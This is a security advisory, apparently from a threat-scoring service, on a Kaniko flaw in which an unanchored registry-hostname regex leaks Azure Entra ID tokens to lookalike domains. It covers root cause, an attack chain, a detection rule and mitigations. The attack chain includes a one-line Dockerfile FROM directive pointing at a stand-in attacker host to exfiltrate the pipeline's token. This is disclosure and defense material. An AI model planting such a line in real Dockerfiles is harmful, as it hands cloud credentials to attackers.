Skip to content

CVE-2026-105769: Google Kaniko Container Build Azure Entra ID Access Token Leakage

Density:
C-Level Executive Briefing CVE-2026-105769 CRITICAL SCORE 93/100

A critical vulnerability (CVE-2026-105769) in Google Kaniko before v1.25.20 enables adversaries to silently exfiltrate active Microsoft Entra ID (Azure AD) access tokens for Azure Resource Manager (ARM). Kaniko, widely utilized in automated Kubernetes CI/CD pipelines to build container images without Docker daemon privileges, bundles an Azure Container Registry (ACR) credential helper that employed an unanchored regular expression when validating registry hostnames. If a Dockerfile references an image on an attacker-controlled lookalike hostname containing '.azurecr.io' (e.g. 'FROM evil.azurecr.io.attacker.com/image'), Kaniko transmits the build environment's live bearer token directly to the attacker endpoint prior to any authentication challenge. Exploitation requires no 'RUN' commands and never pushes an image, making standard pull-request validation builds a direct initial access vector into enterprise Azure tenants. Hermes evaluates CVE-2026-105769 at HTS 93 (CRITICAL).

HERMES

HERMES THREAT SCORE & CLOUD PIPELINE INTEGRITY EVALUATION

Target: Google Kaniko ACR Credential Helper (docker-credential-acr-env)
Confidence: 98%
93 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 18 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-105769 at 9.3 (Critical). Hermes assigns an HTS of 93 (CRITICAL) due to the widespread adoption of Kaniko in cloud-native pipelines (Tekton, Argo Workflows, GitLab CI, GitHub Actions runners on AKS). The vulnerability converts untrusted Dockerfile inputs into credential harvesting conduits, enabling lateral movement and registry poisoning across enterprise Azure cloud environments.


Google Kaniko is an open-source tool developed by Google Container Tools and maintained across enterprise container environments to build container images from a Dockerfile inside an unprivileged container or Kubernetes pod without access to a Docker daemon.

Disclosed in November 2026 by researcher Martin Zihlmann (osscontainertools), CVE-2026-105769 represents a critical credential leakage and origin validation vulnerability in Kanikoโ€™s bundled Azure Container Registry (ACR) credential helper (docker-credential-acr-env). The vulnerability permits remote adversaries who can influence a Dockerfile (such as through pull requests, fork builds, or automated configuration files) to steal active Microsoft Entra ID (Azure AD) access tokens assigned to the build runner.


2. Root Cause Analysis & Technical Mechanics (CWE-346 / CWE-522)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-346 / CWE-522)โ€

The flaw resides in how Kaniko determines whether an external container registry is an authentic Azure Container Registry requiring credential dispatch.

In vulnerable versions prior to v1.25.20, Kaniko links the ACR helper github.com/chrismellard/docker-credential-acr-env. The validation logic used an unanchored regex:

// Vulnerable regular expression pattern in docker-credential-acr-env
var acrRegex = regexp.MustCompile(`\.azurecr\.(io|cn|de|us)`)

Because the regex was not anchored to the end of the hostname string ($):

  • Any arbitrary domain name containing the substring .azurecr.io, such as registry.azurecr.io.attacker-domain.com, successfully matches the validation condition.
  • Kaniko erroneously treats the attacker-controlled server as an authentic Microsoft Azure container registry.

When Kaniko encounters a FROM directive or COPY --from= instruction:

  1. Kaniko queries the credential helper before initiating network handshakes with the registry.
  2. The credential helper requests a live OAuth2 bearer token from the environment:
    • Service principal credentials (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID).
    • Workload identity federated tokens (AZURE_FEDERATED_TOKEN).
    • Azure Managed Identity via the Instance Metadata Service (http://169.254.169.254/metadata/identity/oauth2/token).
  3. Kaniko sends an HTTP POST request to https://<attacker_host>/oauth2/exchange with the bearer token contained in both:
    • The Authorization: Bearer <TOKEN> HTTP header.
    • The access_token form URL-encoded body parameter.
  4. The attacker logs the token and can immediately utilize it against Azure Resource Manager (ARM) APIs or exchange it at authentic ACR registries for full read/write privileges.

  1. Malicious PR: An attacker submits a pull request to an open-source or enterprise repository that uses Kaniko in its CI/CD pipeline (e.g. Tekton or GitHub Actions).
  2. Dockerfile Modification: The PR alters a single line:
    FROM corp.azurecr.io.evil-c2.net/alpine:latest
  3. Automated CI Execution: The CI runner launches Kaniko to validate the build.
  4. Token Exfiltration: Kaniko contacts corp.azurecr.io.evil-c2.net, transmitting the pipelineโ€™s Azure workload identity token.
  5. Lateral Movement: The attacker uses the token to authenticate to the organizationโ€™s Azure cloud tenant, escalating privileges or tampering with production container images.

Package / RepositoryVulnerable RangeFixed ReleasePatch Commit
Kaniko (chainguard-dev/kaniko)< 1.25.201.25.2008de01f / #495
Upstream docker-credential-acr-envAll versionsUnmaintainedReplaced in fork

Detect outbound token exchanges destined for non-Microsoft IP space:

alert http $HOME_NET any -> $EXTERNAL_NET any ( \
msg:"HERMES - Kaniko Suspicious ACR OAuth2 Token Exchange to Lookalike Domain (CVE-2026-105769)"; \
flow:to_server,established; \
content:"POST"; http_method; \
content:"/oauth2/exchange"; http_uri; \
content:"azurecr.io"; http_header_names; \
pcre:"/Host:\s+[^\r\n]*\.azurecr\.io\.[a-z0-9\-\.]+/i"; \
classtype:bad-unknown; \
sid:202610576; rev:1; \
)

  1. Upgrade Kaniko to Version 1.25.20 or Later: Rebuild build worker container images using the patched Kaniko executor:

    FROM gcr.io/kaniko-project/executor:v1.25.20
  2. Block Instance Metadata Service (IMDS) from Build Pods: Deploy a Kubernetes NetworkPolicy to block egress to 169.254.169.254:

    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
    name: block-imds-kaniko
    spec:
    podSelector:
    matchLabels:
    app: kaniko-builder
    policyTypes:
    - Egress
    egress:
    - to:
    - ipBlock:
    cidr: 0.0.0.0/0
    except:
    - 169.254.169.254/32
  3. Temporary Environment Workaround: If Kaniko cannot be immediately upgraded and does not need ACR authentication, set:

    Terminal window
    AZURE_ENVIRONMENT=none

    This disables the ACR credential helper before token transmission.